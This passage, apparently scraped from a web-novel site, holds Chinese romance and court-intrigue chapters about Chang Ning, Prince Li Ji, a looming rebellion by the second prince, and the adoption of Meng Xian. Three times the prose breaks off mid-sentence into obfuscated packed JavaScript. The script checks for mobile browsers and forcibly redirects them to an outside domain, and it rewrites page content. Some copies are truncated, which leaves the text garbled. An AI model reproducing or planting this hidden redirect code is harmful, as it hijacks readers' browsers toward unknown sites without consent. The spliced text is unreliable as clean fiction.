李稷意动，一面生出几分庆幸，一面又止不住地齿冷，“召之即来，挥之即去，孤与你的脔宠何异？” 常宁一时没听明白，清透的眸子回望李稷，继而反应过来，恼道：“我又不像你，满宫的如花美眷。” 再说了，常宁觉着，她也没招猫逗狗一般地玩弄李稷。李稷这么说，常宁可不认。 李稷逼近，“孤宫中府中，何时有此等人！物，你竟比孤还清楚？” 常宁乍然对上李稷难看的脸色，被李稷这质问的语气问得烦躁，只道：“适可而止。” 李稷一怔。他历来不在意旁人的轻言谩语，唯独常宁，不需多尖锐刻薄的话语，也无需涕泗横流，只眉眼间掠过一点轻而淡的烦意，就足以令李稷痛心。 他不免忆起自个的辛酸苦楚。 纵使为世所不容，可有情人终成眷属，即便旁人抨击，只要常宁与他同心，李稷便不觉艰难。 但连他父皇都还未发力，甚至他们的关系都几乎无人知晓，常宁还是先退却了。李稷一而再、再而三地挽留，软硬兼施，常宁待他还是可有可无。 李稷根本不明白，究竟是哪里出了问题。 他期待常宁能回心转意，就务必保证常宁在此期间不会移情别恋。 有什么法子，比李稷亲自盯着常宁还奏效？纵使李稷事务繁忙，可一天十二个时辰，只要夜间能与常宁相会，李稷就有把握让常宁无心他想。 常宁复又问：“不走吗？” 李稷摇头，淡定地绕过常宁，到净房里沐浴盥洗。 等他带着水汽出来时，发觉榻上多出了一套被褥。李稷瞟几眼苦闷灌茶的常宁，上前夺过杯盏，“过了时辰，不宜饮水。” 小事而已，常宁随他去。这般低眸望去，常宁见李稷衣袖短了一截，露出寸许腕骨。再看那月白色寝衣，分外眼熟，常宁惊讶道：“你穿我的衣服？” 李稷嗯了一声，“有什么好怪的？” 常宁暗道，如何不奇怪？但此话未出口，常宁就被李稷扯了手腕往榻边带。 李稷道：“就寝吧。” 常宁抱起被褥，直直往窗边矮榻处走，忽被李稷揪了衣角，回眸问：“怎么了？” 李稷蹙眉，一指床榻，“你不在这儿？” “当然，”常宁应道，“我等你这么久，就是要确认你睡哪儿。” 李稷默然，常宁贴心地放下金钩，重重帷幔落下，只能瞧出个模糊的人影。 吹灭灯烛，常宁闭眸悄悄听了一会儿。李稷嗅着常宁新洒下的花露，毫无动静。不久，常宁便沉沉睡去。 及至常宁醒来，已是次日，晴阳高挂，耳边嘈嘈杂杂一片人声。 医者束手无策，李稚气急，怒道：“要是治不好……” 医者战战兢兢。 常宁伸手罩住眼睛，无奈道：“清河，做什么呢？” 话音刚落，李稚便扑了过来，泪珠吧嗒吧嗒落在常宁衣襟上，“表哥，你吓死我了。” 常宁拥被坐起来，眼角揉出一片绯红，耳语道：“你下次拿块沉香，我就能醒了。” 李稚，“真的？” “保真，”常宁道，“你先出去，我还没换衣服呢。等会儿我们到外面玩。” 李稚：“……好。” 这次出来，常宁老老实实带了许多侍卫。京城里常宁和李稚不知转过多少遍，这次出来也只是透透气。 京城各坊市中，不时有稀奇事。往常她二人最喜往热闹处去，这次却往国子监而来。 国子监所在之处，较他处更为清净，临近几条街坊上，坐落着诸多书肆、茶楼、画铺、古玩集。 李稚到书肆里转过，再出门时，身后侍女手中已经多了几卷书册。常宁略略扫过一眼，只见得《汤头歌》《黄帝内经》《神农本草经》《药性赋》等，往后还有许多，不便细看。 这些书对寻常人太枯燥，却是医者入门时就要研习的书籍。 李稚满意地环视一遍，脸红扑扑的，“表哥，我们回去！” 寒风凛冽，常宁拢了拢披风，回眸笑道：“清河，志乃士之心。无意之事，莫要强求。” “谁说我不喜欢？”李稚歪头，“再说了，我又不是士。” “一样的，”常宁笑笑，“你先看，等你熟悉些，我再帮你找合适的师父。” 李稚双腮微红，含嗔带笑地握了拳，“表哥，那些人不肯尽心，我自己学了来帮表哥。”她一双水润的眼眸轻轻看常宁，微光点点，“表哥等我。” 常宁心下一暖，“好。” 目送李稚登上马车辘辘而去，华盖如云，渐渐消失不见，常宁以拳抵唇轻咳一声，“书剑，回府。” 身体的异样，没人比常宁更清楚。李稷的药虽然有作用，但也只是缓解症状，让常宁多活几年。孟家的药方历时太久，字句有缺脱，空智大师正在尽力钻研。 毒药在身体中流淌，毒素早就遍布躯体。空智大师一直致力于利用药性相克来溶解部分毒素，也提倡常宁多多饮水，排出少许毒素。 常宁撩开车帷。道旁堆有积雪，行人呼吸之间带起重重白雾，汤饼、胡饼、馎饦、烧酒、古楼子……各色小食肆鳞次栉比相对而设，有青衿士子和匆匆过客掷下铜钱，燕坐闲谈。 其间隐有形貌各异的异族人，从朝觐大魏的藩属小国而来，得以入国子监进学。每年不时得皇帝召见。他们已学会了简单的魏语，只是说话时仍带着浓重的口音。 不算多热烈，却又如此鲜活生动的场景，正是贯穿于常宁十七载春秋的常态。乌云遮去晴日，雪花飘然落于常宁眼睫，融为晶莹剔透的水珠挂在常宁睫上。市坊间因这场雪再次热闹起来。 为这一瞥，常宁渐觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982336|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热泪盈眶。 书剑塞过来一只热水袋，说：“少爷，天冷了，回吧。” 常宁手被焐得暖乎乎的，悠然笑道：“我之于天地，本如过客。” 京城里有没有常宁，依旧会四季轮换、人潮涨落。太山之崇高不会变，沧溟之深远不会变，人情起伏亦不会变。 但爹娘和表姐表妹却不一样。他们真心爱着常宁，常宁也真心爱着他们。无论在他们的生活中还是心中，永远都有常宁的位置，是一个谁都替代不了的位置。 再往前走，常宁还见到自家粥棚。避雪的老者牵着小孙孙，在白茫茫的雪地里捧着热粥吸，脸上是温暖满足的笑意。 书剑顺着常宁视线看过去，问：“少爷饿了？” 常宁：“我也想吃。” 书剑刚吃过，纠结道：“一起？” 常宁一拍他肩膀，“我吃，你看着。” 坐在粥棚下，常宁捧着只碗一点点吃粥。白粥煮得软烂香甜，米花香气四溢，在常宁看来也是美味珍品。 管事许久未曾见过常宁，停了手上的活计，笑眯眯道：“少东家忙什么呢？一月有余不曾来过了。” “杂事，”常宁四处望望，瞧见几个士子和衣着单薄的年轻人，目露疑惑。 来他们粥棚的，大多是乞儿和生活艰苦的鳏寡孤独残者，间或有些中年人，年轻人却不多。今日常宁打眼粗粗一望，便瞧见了好几个朝气蓬勃的面孔。 管事拿过来一罐白糖，隐晦道：“刚收过新税，都有个不容易的，何况是千里迢迢从外地赶来京城的。夫人吩咐了，与人个方便，给少爷积德。” 常宁用完粥，起身活动了会儿。他们精气神不错，应当只是需要暂时的周济。 边塞战乱如今只是小打小闹，但庆和帝为修建接仙台征收了许多新税，多是在金石珠玉和绫罗绸缎上。虽未曾对农人征新税，农人还是受到了影响。 饭后消食，常宁四处转了转，走到几家医馆门口，听着里面传出老人小心翼翼问药价的声音，叹息一声，“书剑，你取些银钱，交给坐堂的张大夫。他知道怎么做。” 书剑应是。这些事常宁往日里也常做的，为给多余的银钱找个归处。如今做来却又不同，大抵是因她命不久矣，而他们得些银钱还能好好地生活。 今日逛得久，常宁有些累，回府后本欲小憩一会儿，没曾想秋浓送来两封信，说是公孙谨和云策托人捎带来的。 常宁刮开漆封。公孙谨那封先是问候了几句，便提及江南好风光，提议常宁携家及郑娘子到江南度过冬日。云策则插科打诨讲了许多边塞风光，最后请常宁到他外祖父家住些时日，同他外祖父学些兵法谋略，强身健体。 但常宁还是觉得不太对。单说公孙谨的信，哪里有劝人出去玩还携家带口的？尤其还要带上郑娘子。这倒不像游玩，而像避难了。 再说云策，他外祖家在梁州，处于大魏西南方位。常宁从前和云策形影不离，从没听他提过要常宁到他外祖家习武。再者常宁已经十有七岁，若求强身健体，大可不必千里迢迢到梁州，请一位武师傅更合算。 天光倾泻，常宁坐在格子窗下，指尖轻叩两张信纸。 武乃止戈之用。 两人的信都从西北来，同一天送到，想必请的也是同一个捎信人。而从内容上看，两人都让常宁往南走。云策要常宁强身健体，公孙谨要常宁拖家带口。 一个不可思议的念头浮现在常宁脑海中，惊得常宁攥拳噌地站了起来。 止戈之变，由北而来，止于京城。南方无忧。 南方无忧，一是兵乱的目标是京城，二来是长江天险阻隔。 若是羌人大举南侵，必不会毫无声息，偏得依赖他二人来报。若非羌人，兵祸又从何而来？大魏西北方向，只有二皇子监军的边塞军和背后的山西、山东两处大营。两大营又是非紧急军情和圣令不得擅动的。 即便羌人破了边塞军，也还有两处大营抵挡，绝不可能短时日内打到京城。 乱兵极有可能是这三军中的一军，且将领能自如地带兵往回走，在将士中极有声望，甚至连主将都对他极为信服。 除了二皇子，常宁想不到别人。 二皇子往回走，没有既定的粮草补给，少不得要抢夺粮草或一路烧杀抢掠。且军情如火，用兵贵在神速机密，又正是与羌人小战不断的时刻，倘若被羌人窥得动静，山西、山东两大营又无准备，岂非引狼入室，践踏大好河山？ 70. 坚持！ 李稷夜间再到英国公府时，正是深夜。常宁坐在圈椅上，捧了淡雅的瓷盏啜饮，不时抬起一双清透的桃花眸望向窗外，似是专程等他而来。 及至见到李稷的身影，常宁微微笑了笑，提起紫砂壶倒了半杯温茶，迎上几步，“殿下今日怎么这么晚？” 李稷嗯了一声，并不作答，一手虚虚笼住常宁玉白伶仃的手腕，抬高了，低首去就常宁手中细腻油润的朱泥杯盏。 常宁略等了一会儿，问道：“殿下？” 李稷掰开常宁手指，将那朱泥盏扣在案上，拥常宁入怀中。 他衣上还有外面的风雪寒气。被迫贴在他胸前，常宁颊侧一阵冰凉，垂在身侧的手也被裹入两面干燥滚烫的掌心，半引半迫着沿李稷劲瘦的腰身往后带。 常宁自是不肯的，使了暗劲暗暗较力，拽得李稷低头瞥常宁一眼。 李稷一眼看去，只觉常宁站得轻飘飘又轻松，金冠璀璨，发丝顺而逸，不免想见一见常宁，遂松了人的手，去捧常宁脸颊。 常宁正咬着牙发力，脸颊充血，天边朱霞一般瑰丽澄澈，忽对上李稷的视线，仰首哼出一道气，趁他愣神的功夫躲远了些。 李稷神色未变，心下却泛起苦涩，“何事？” 这般作态，若非有事，常宁必不会专程等着李稷，更别提捧着茶盏笑眯眯向他走来了。 纵知常宁不是为他而来，李稷还是贪恋这种异样的感觉。 眼下惹得常宁微恼，李稷也无悔意。 他只是收取报酬罢了，他们是公平地交换。 常宁不知道李稷在想什么，缓了会儿，便将下午的猜测和盘托出，“殿下要去求证吗？” 李稷不答反问，“若你所言有误，你可知会怎样？” 常宁也清楚此事荒谬，仅凭两封友人的信和满脑天马行空的猜测，就去揣测皇子的不臣动机，又是干系重大的事，怎样看都不妥。 “军国大事，再怎么误报，也比不报的好。反正殿下会查的，”常宁笑笑。她也派了人去，但求证需要时间，由李稷来，无疑比常宁快得多，“那我错了，殿下要罚我吗？” “再说，”李稷道，“你所言不错。孤过些日子离京，正是为了此事。” 常宁忆起昨夜李稷之语。几天之内，就会离京？常宁不禁弯了眼眸，又一思背后缘由，笑意渐消。 “殿下万事保重。” 李稷目中染上一丝浓色，缄口不言。 常宁双眉微蹙。李稷的不快，常宁已觉出，既不愿去哄他，又忧心他若在疆场分神，好不自在。 正犹豫间，李稷指尖已经按上了常宁眉心，打着旋揉了揉，“别想了，安寝吧。” 常宁不动声色地避开，要往矮榻边去，却见李稷先一步上了矮榻。 “那边，孤睡不好。” 常宁说：“殿下先别睡，再换套被褥。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008454|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无人应答。 常宁稍微走近了些，见李稷不知何时褪了鞋袜，和衣枕在软枕上，胸膛微微起伏，眼眸紧闭。 她可不想帮他脱衣服，遂轻轻摇晃李稷肩膀，见叫不醒，就自个走回去，放下金钩帷幔。 帐中满是栀子花香，清新怡人，甜而不腻，是常宁昨夜洒下的花露，用来掩盖她留下的气息。 余光瞥见李稷的躯体，倒伏在窗边矮榻上，起伏的山峦一般，常宁不禁深深吸了一口栀子花香气。 没眼光，这多香！ 月光流淌，一室静谧。在清香的栀子花萦绕下，常宁眼皮渐渐沉重起来，找了个舒服的姿势，安心睡去。 李稷却睁眸下榻，步履轻盈无声，负手仰面，轻叹一口气，撩帷而入，又替常宁掖了被角，便就坐在榻沿，捞起常宁一只手，手指强硬地挤入常宁指缝间，抵在下颌，长久地望着常宁。 微弱的月色被帷幔筛过，不足以看清人的容貌，李稷还是能描摹出常宁的模样，既觉心窍盈满，又一阵心涩。 光阴苦短，李稷是不愿与常宁分离的，却又知送常宁南下才是稳妥之法。 因他，常宁已经受到波及。李稷不忍再见第二次。 可若分离，常宁又不知要将他忘到哪里去。届时常宁面前会有数不尽的新人，只会更不愿意和他回来。 博爱根本就一点都不好，分到他身上就只有可怜的一星半点。 71. 坚持！ 墨玉城，风雪呼啸。 银甲反射冷酷的雪光，映照在褚将军的脸上。 “二殿下，三思而后行。名不正则言不顺，言不顺则事不成。” 二皇子耸眉嗤笑，“开弓没有回头箭。” 轻甲在前，大军在后，黑沉甲胄在雪地上蜿蜒成一条巨蟒，直逼京城而下。 篡位谋逆，哪个还管名正不正？ 老东西病重，却迟迟不肯降下手谕召二皇子回京，二皇子已经等不及了。 之前那番暗示的话，也不过是为了将他调离到边境，好为旁人铺路罢了。 若他不回去，等待他的，要么在苦寒僻远的封地守一辈子，要么就是一杯鸩酒。 纵使西北失守，也没什么要紧，至少他能得到半壁江山，已经比他原先能得到的多得多。 …… 常宁也帮着爹娘着手离京事宜。 离京前，姑母邀他们到宫中一聚。 申时才入宫，常宁预备在京城四处转转，眼下正打量着秋浓送来的单子。 其上有一枚丹药。 “这是什么？” “是少爷从皇觉寺带回来的，只剩下一枚。” 常宁有印象了，指尖划过那行字，拧眉思索一瞬，道：“你送给空智大师。” 这药常宁用不上，皇觉寺里的师傅又说是世间难得的宝药，由空智大师炼制，倒不如还回空智大师手中，往后撞见了有缘人，也能赠药救人一命。 年关将至，京城十分热闹，市集上摩肩擦踵，一派喜气洋洋。 常宁悠悠行在大街上，不免可惜。若二皇子从西北一路打到京城，不单沿途城镇要被迫沦为补给，连京城也逃不过一番腥风血雨。二皇子大概不会在京城大开杀戮，但京城笼罩在阴云之下，则是免不了的。 可这时候，常宁非但不能提醒旁人，甚至还要将此事埋在心里。 周盟主背刀坐在酒楼下，瞧见常宁，远远招手。 “周大哥？” 周盟主笑笑，仔细看过常宁，“气色不错。” “谢谢，”常宁问道，“你什么时候离京？” “不走，我北上，”周盟主将刀横放在膝上，抬眸见常宁一直望着他，笑道，“你呀，带上你姐姐出京，到城南三十余里，有一座寒山寺，甚是灵验。” 常宁：“我姐姐不会去的。” 周盟主脸上神色颇有些奇妙，很快又恍然大悟，“你到城西承平坊圆通巷巷尾第二家，自会明白。” 常宁记下，“北上万事当心。” 周盟主道：“自然。我们此行所去，也是为了心中无憾。” 他能知道，常宁并不惊讶。常宁有云策和公孙瑾传信告知，周盟主自然也有惦念他的亲友。那么多士兵乱哄哄南下闹出的动静，绝不可能轻易掩盖。不过是众人得知消息的早晚和去留不同罢了。 常宁单手支颐，叹道：“从前还有人总是同我讲，任侠行事无禁，迟早要铸成祸患。如今看来，也不尽然嘛。” 周盟主听着，并不气愤，也没有追问这话出自何人之口，“善恶清浊，不独我们任侠如此，放诸天下亦然。若有朝一日世间不公不平之事有人处置，无需我们自个依赖武力解决，侠气内敛于心，待时而发，未尝不是一件乐事。” 常宁慢腾腾举手，“附议。” 周盟主失笑，“怎么这么懒？” 常宁有气无力：“你要是知道我昼夜不得安生，你也会觉得我命苦。” 周盟主更是大笑，随即推给常宁一个小青釉杯，笑道：“用些水。” 常宁抿了一口，直从喉头火辣辣烧到腹中，满身懒怠逼跑了一半，伸指指向周盟主，“我告我姐姐！” 周盟主笑眯眯点头，“带上我一道。” 常宁才不呢，看看天色，挥袖扫倒了杯子，“我走了。” 到德妃宫中时，常宁爹娘正在同德妃闲话。常宁和李稚都是跳脱的性子，陪着坐了一会儿，英国公夫妇和德妃隐有泪意，便相携到殿外去了。 李稚坐在浅色胡杨木秋千上，从衣袖里卷出一本医术。常宁随意找了块怪石，垫了毛斗篷坐在上面。 腊梅已经开了些许，点点秾丽的艳红点缀在漆木与白雪间，常宁正歪了头眸光晶亮地看着。 “表哥，我听说有人提了和亲，是么？” “我也不知的，”常宁笑意微敛，“但不会是你。” “是我也没事，”李稚握着纤绳，轻轻荡了荡，裙摆漾起美丽的弧度，脸上是浅浅的笑。 常宁以为李稚是不清楚羌人，“羌人和我们大不相同。届时去国千里，姑母又久居深宫，我和姑母想见你一面，都不知道有没有这运道。你去了那里，若是水土不服、饮食不合、语言不通，生了病，纵是带了医士，缺了哪味药，一时也是难以凑齐的。人家欺负了你去，我们急得团团转，也难帮到你。若是有了孩儿，亲眼见他们践踏故土，又如何不痛心？” 李稚仰脸，毫无惧色，笑靥晕着日光，“表哥说的这些，我都知道。我可以不要孩子。再说，即使真有了子嗣，表哥又怎么知道，不是未来的羌王心向中原呢？我是公主，享国之供奉，也想为百姓尽一份力。” 常宁正色：“心向中原是做不了羌王的。清河，你要想清楚，不要为了一时虚名搭上一辈子。” 李稚觑常宁一眼，忙道：“表哥，你别生气。我都定亲了，就算和亲，也轮不到我头上的。” 常宁冷静下来，哼道：“我可不想你到那边吃沙子。” 李稚小声反驳，“表哥，你这时候可不够深明大义。” 常宁四下看了看，没见着人影，靠近李稚用气音小声道：“我要是你亲哥哥，我也深明大义。” 李稚说：“可是表哥，我昨天去见皇后娘娘，皇后娘娘说，皇子公主享国之供奉，合该为百姓分忧。” 常宁道：“那为什么不让皇子去和亲？皇子公主同样享国之供奉，公主就该去和亲，皇子就该上朝议政吗？” 李稚一时呆住了，张口数次都没能发出声。 常宁瞧见李稚懵懵的，便就不忍再问，“好了，旁人怎样我不管，你不出事就行。上次不是抱回来几本书吗，看得怎样了？” 李稚微红了脸，羞赧道：“看得差不多。” 常宁轻抬眉梢，“差不多是什么意思？” “就是……”李稚捏了捏衣角，“看完了，还有许多不明白的。我召过数次太医，皇后娘娘知道了，勒令我不许再看这些，更不得时常与医士为伍。” 短短几天就看完了书，常宁清楚李稚是下了苦功夫。正是因此，常宁才愈发气愤。 李稚心绪黯淡，止不住地心酸，心头满是涩意，打起精神挤出个笑，“表哥，你病中本就不宜忧心。反正我是公主，若有事，传唤一声就好。我为表哥寻名医，表哥莫怕。” 常宁果断道：“不行，这些对你将来也是大有裨益的。我暗地里找一找通医理的宫女，想办法调进你宫中，你有不懂的，先请教着她。等往后你开府了，就不必在意这许多。” 李稚红着眼点头。 二人又坐在亭中，围了石青葡萄纹挡风披，瑞兽炉中炭火猩红，湖面坚冰晶莹，巍峨宫殿覆上皑皑白雪，别有一番韵味。 常宁悠悠沏茶，和李稚共话往事，无不唏嘘。她和李稚一同长大，从幼时相伴至今的情谊，而今李稚已经定下了亲事。 “你喜欢他吗？”常宁轻声问。 李稚微抬下巴，“长得不错，勉强能得我宠爱。” 常宁没忍住笑了，“可真是舒坦日子。到时候我也找几个人玩。” 李稚也笑道：“好呀，人多热闹，还能逗表哥开心。” 又是闲话许久，等英国公夫妇从主殿中出来，常宁才依依不舍地道别。 夕阳也是冷冷的一团，道边积雪沾上了草木灰和黑木炭屑，不复落下时雪白。 化了一天的雪，雪水顺着檐角滴滴答答地落。书剑撑了油纸伞，立在常宁身侧，一同望向不远处的绣庄和成衣铺。 两家店铺生意红火，又赶上年关添置新衣，百姓往来不绝，小二和绣娘忙得脚不沾地。但忙完了，便能得一笔不菲的报酬和红封，迎来送往间，面上便全然是笑。 孟娴也在忙。前些日子，她哥哥被外调到徐州，不等过年便打马上任，只来得及同常宁小聚了会儿。孟尚书又是历来忽视孟娴的，这反倒方便了孟娴，无人拘束，凭借出色的花样到绣庄谋生计。 “走吧。”常宁微笑，偏头叮嘱书剑。英国公夫妇在常宁身后数丈之外的马车上，正挑了帘往这边瞧。 姜夫人笑道：“这就是那孩子？” “是，”常宁紧挨着姜夫人坐下，眼看马车辘辘而行，立孟府越来越近。 孟府时代诗书传家，府邸经营得雅致，雪后更是空灵清幽。 孟尚书接了英国公府的拜帖，下值后便在府中等候，听着管事口中不停地抱着一长串珍宝，蹙眉打断：“来做什么的？” 管事道：“英国公夫人与小姐一见如故，来认义亲。” 孟尚书冷笑，“我们府上哪里有小姐？退回去。”英国公府认亲，孟尚书念及的却是自个儿子。他儿数十年如一日，敬承庭训，知礼谨行，偏偏与英国公府上那遛狗逗猫的浪荡子纠缠不清。 管事小声提醒：“老爷，咱们府上有位娴小姐，是昔年赵姨娘所出。自老夫人去后，已养在偏院十三载了。” 这般一提，孟尚书眉宇更冷，“若不是母亲，我怎会放任她留在府上，让我妻死也不得安生？英国公要如何，便让他如何，只他送的礼要退回去。我便不去迎了。” 管事知道孟尚书是不愿意见小姐，连忙点头应下，回身间思索着如何应对应国公，忽听孟尚书道：“慢着，我也去。” 抖衣步入正厅，孟尚书老神在在坐于太师椅上，唯有英国公夫妇来时起身相迎。待将夫妇二人迎入座，孟尚书便张目去瞧常宁。 抛却风姿气度不提，却是目湛神明，鹤立鸡群般引人注目。 常宁与孟尚书对视几息，笑道：“晚辈见过世伯。” 孟尚书淡淡嗯了一声，“小女长居府中，甚少外出，不知小女何时与夫人有了交集？” 英国公夫妇本是因孟尚书对常宁若有若无的不满而忧心，如今听出孟尚书话下的拒绝之意，对视一眼。 姜夫人轻轻摇头，“儿女们正是青春好动的年纪，是拘不住的。前些天我到城外小寒山寺上香，赏景时忽感头痛，多亏了孟小姐为我疏解。我与夫君生平只有一个顽皮小子，又与孟小姐有缘，探听得那日孟小姐是与兄长出城，这才知道孟小姐竟在你家府上。思来想去，我们便来认个义亲，既让孟小姐多个血缘，也圆了我的一桩憾事。” 孟尚书笑笑。寻常人家，多是丈夫在外主事。而今一瞧，英国公府乃是夫人话事、国公品茶，阴阳之道大乱，怪道教养出阴阳失序的孩儿，倒也莫怪乎学洲迷了心窍。 “我孟府家风清正，何须拿俗物为儿女谋势？恕难恭维。” 常宁听不得孟尚书暗地里贬低爹娘，皱了眉正要上前，忽听得一阵碎瓷声，孟娴已一路挣脱了家仆，入到正厅来，眸中含泪泣拜于地。 “父亲，此事无关俗务，女儿也与夫人一见如故。求父亲成全！” 孟尚书大怒，手中茶盏重重扣在红木方几上。他虽从未留意过这个女儿，乃至今日才真真切切见到了这女儿的模样，但绝不容许他的权威受到践踏。 “堂尊尚在，尔便见异思迁，岂有此理！” 英国公夫妇从不在人前训子，“老孟，大人的事，不要牵连到孩子身上。” 常宁不大好上前，趁着爹娘都起身的功夫，跟在姜夫人身侧，一左一右站在孟娴身旁。 孟尚书叉腰来回踱步，却被英国公严严实实地挡着去路，无耻之徒还笑眯眯要和他探讨文章、共下双陆。视线越过高挑的英国公，还能望见英国公那好儿子含笑逗他女儿收眼泪。 当下一股怒气直冲云汉，孟尚书抬指直指孟娴，“贱妾之女，若要取之，便以妾礼纳之。” 正厅窒息一般地静。 家仆垂首静立，不敢乱看。孟娴地啜泣声也止了，泪水却流地更汹涌，眸光发直，半低脑袋凝视地面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034267|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 英国公冷哼一声，“不敢苟同。” 姜夫人轻轻揽着孟娴，一下下轻抚着。 孟尚书同样冷哼，“彼此彼此。” 常宁道：“我只娶妻，不纳妾。然爹娘视孟姑娘如亲女，孟姑娘于我便如亲姐。孟大人所言，有悖天伦，恕不从命。” 孟尚书岂能听不出黄毛小儿语中的嘲讽，却知常宁拿他发作不得，注定要灰溜溜打道回府，便掩下得色，捻须不语。 常宁一笑，“孟大人，孟兄临行前曾交代过我几件事，借步一叙，如何？” 孟尚书就要拒绝，听常宁提起爱子，这副笑模样落在他眼里，无疑是小人得志、耀武扬威之态，拂袖道：“随我来。” 孟娴抹了泪，就要跟上去。 姜夫人握住孟娴冰凉的手，合手搓了搓，揽着她柔声安抚，“莫急，你宁弟向来有主意。再不济，还有爹娘。” 暮寒时分，风也凛冽。 常宁唇边一直含着笑，衣袂随风轻微起伏。 孟尚书沉着脸，回头看去，却不觉灼目，反而如和风化水、春潮带雨，满目生机。二人所过之处人烟愈发稀疏，终至荒落凋零。 从始至终，孟尚书都没从常宁脸上看出一丝紧张不安，唯有偶尔探视周遭时流露出的少许诧异好奇。 “不怕我害了你？” “孟大人不是蠢人，”常宁弯眸笑笑，“大人，你就成全我吧。” 孟尚书耸眉，冷笑，“凭什么？” “凭我呀，”常宁笑得开怀，“大人，你也不想孟公子的事闹得太难看吧？” 孟尚书呵一声，“我儿向来守礼，清者自清，你且闹去。” 常宁丝毫没有无赖的自觉，“大人，他有多爱我，你比我更清楚。” 孟尚书脸色难看。 实乃……家门不幸。 常宁负手，踮脚望了望天边，云彩已渐渐灰败了，“若孟姐姐能与我家成义亲，我自然拿他做哥哥。兄弟之间，哪里能□□呢？往后我便再也不寻他了。” 她每说一句，孟尚书眉头便皱紧一分。及至常宁回首，璀然一笑，“您若不同意，我也保不准什么时候就进了您家门，届时我便不叫孟姐姐了，改叫孟妹妹。我也不叫您大人，我管您叫爹呢。” “你！”孟尚书颤着手，气得胡须发抖，“老夫从未见过如此厚颜无耻之人！” “谢谢，”常宁还是很满意的，“大人你往后莫要再寻孟姐姐。你寻孟姐姐一次，礼尚往来，我就也寻洲洲一次。” “您可要想清楚，孟公子只有我一个，我却不止孟公子一个。甭管男女老少、妍蚩肥瘦，我是荤素不忌的。” “胡来！乱来！”孟尚书眼前一黑，瞧见常宁笑脸，便如活灼。及至忆起那些常宁助过的人，莫不是都同常宁有些首尾？ 儿啊，糊涂！ 孟尚书被气坏了，骂人都骂不出花样来。常宁自忖爹娘该长命百岁，也不轻易寻人不快，只问道：“大人同意了么？” “快走，快走！”孟尚书一手扶额，一手挡在身前，无力地扇了扇。 常宁牵唇一笑，“多谢大人。望大人安康，有缘再会。晚辈告辞。” 正厅里，姜夫人已经带着孟娴用了些点心茶水。孟娴平静下来，英国公独自讪讪坐在角落里，不知如何融进去。 瞧见常宁，英国公顿时如见救星，“宁宁，快来！怎样了？” 常宁哼哼两声，想让他猜来着，瞥见犹带泪痕的孟娴，忙道：“成了，我们回家。” 直到踏上马车，孟娴犹有几分恍惚。常宁本是骑着马在外头，被孟娴叫进车厢里。 “你为什么对我这么好？” 常宁半开玩笑道：“大概人之将死，其言也善，其行也善？” 孟娴水汪汪的眼眸望着常宁。她和哥哥关系尚可时，哥哥口中的常宁，也同孟娴现在遇到的一样。 “有什么需要我做的吗？” 常宁点头，“有的。我不剩多少载春秋，待我死后，万望姐姐得空常到府上走动，陪爹娘说会儿话，莫让他们太孤单。” 孟娴嗓音发闷：“我会的。” 常宁歪头思索一瞬，问道：“你还有想做的事吗？” 孟娴思考的时间更久，最终低声道：“想做的事没有，但我不想成亲。” 孟尚书虽不管孟娴，但孟娴在官府文书中依旧是孟家人。头上有一位兄长，不得立女户。 若要嫁人，孟娴也不愿意。她也分不清究竟是为着什么。但在这世道，男婚女嫁天经地义，有时孟娴自个都怀疑自己。 孟娴亦知，女儿大龄未嫁，爹娘也要受人戳脊梁骨。连父亲和兄长都不可能容忍她如此，又如何好奢求义父义母为她做到如斯地步？ 风拂车帷，常宁耳畔发丝轻摇，睁眸靠坐，一丝动静也无。 孟娴被这寂静迫着发声，“算……” 常宁回首，眸光晶亮，“我倒有个法子，只是兴许要委屈了姐姐。眼下朝廷嘉奖守节贞妇，姐姐不若择一病重体弱、上无父母的贫苦书生，许下银钱定婚契。待他不幸殁了，姐姐也不必嫁人，留在家中就好，既不受人白眼，还能博个好名声。不过如此一来，姐姐怕是要守望门寡。” 孟娴心怦怦跳，手不自觉握成拳，“无妨，我已经很满意了。” 原来非是无路可走，只是爱不够多。 到府中，天色已晚，英国公另择吉日开祠堂。今夜府中难得热闹，为着孟娴到来，几乎有了年节的气氛。 姜夫人早已与孟娴亲近起来，英国公却要避着些，不可太亲近，嘱咐过几句后便匆匆离去。 常宁原也要送孟娴到她在府中的新院子里，被姜夫人赶走歇息。回眸时，常宁独自站在道旁，还能瞧见二人愈加亲密的身影，心头忽地涌上一线怅然。 今日常宁拿孟学洲同孟尚书谈事，只是个猜测罢了。然孟尚书的态度，无疑证实了常宁的担忧。 昔日好友，一个个叫常宁陌生起来，渐有形同陌路之感，常宁心绪一时又低落几分。 这般直到回了房中，也还是辗转反侧入睡不得。 72. 坚持！ 